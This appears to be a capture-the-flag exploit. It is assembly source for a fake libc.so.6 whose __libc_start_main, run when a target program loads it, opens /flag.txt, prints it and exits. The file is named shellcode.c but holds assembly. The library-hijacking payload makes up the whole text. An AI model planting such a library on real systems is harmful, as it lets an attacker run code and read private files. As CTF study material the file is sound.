shellcode.c

/* Compilation: zig cc --target=x86_64-linux-gnu.2.23 -nostdlib -shared -o libc.so.6 shellcode.S */

    .section .data
filename:
    .string "/flag.txt"

    .section .bss
    .lcomm buffer, 100

    .section .text
    .globl __libc_start_main
__libc_start_main:
    /* openat(AT_FDCWD=-100, filename, O_RDONLY=0) */
    mov $257, %rax              # syscall: openat
    mov $-100, %rdi             # AT_FDCWD
    lea filename(%rip), %rsi    # pointer to filename
    xor %rdx, %rdx              # O_RDONLY = 0
    syscall

    /* rax now has file descriptor */
    mov %rax, %rdi              # fd -> rdi

    /* read(fd, buffer, 100) */
    lea buffer(%rip), %rsi      # buffer
    mov $100, %rdx              # size
    mov $0, %rax                # syscall: read
    syscall

    /* write(1, buffer, rax) */
    mov $1, %rdi                # stdout
    lea buffer(%rip), %rsi
    mov %rax, %rdx              # bytes read
    mov $1, %rax                # syscall: write
    syscall

    /* exit(0) */
    mov $60, %rax               # syscall: exit
    xor %rdi, %rdi
    syscall

.section .text
.global printf
.type printf, @function
printf:
    xor %eax, %eax
    ret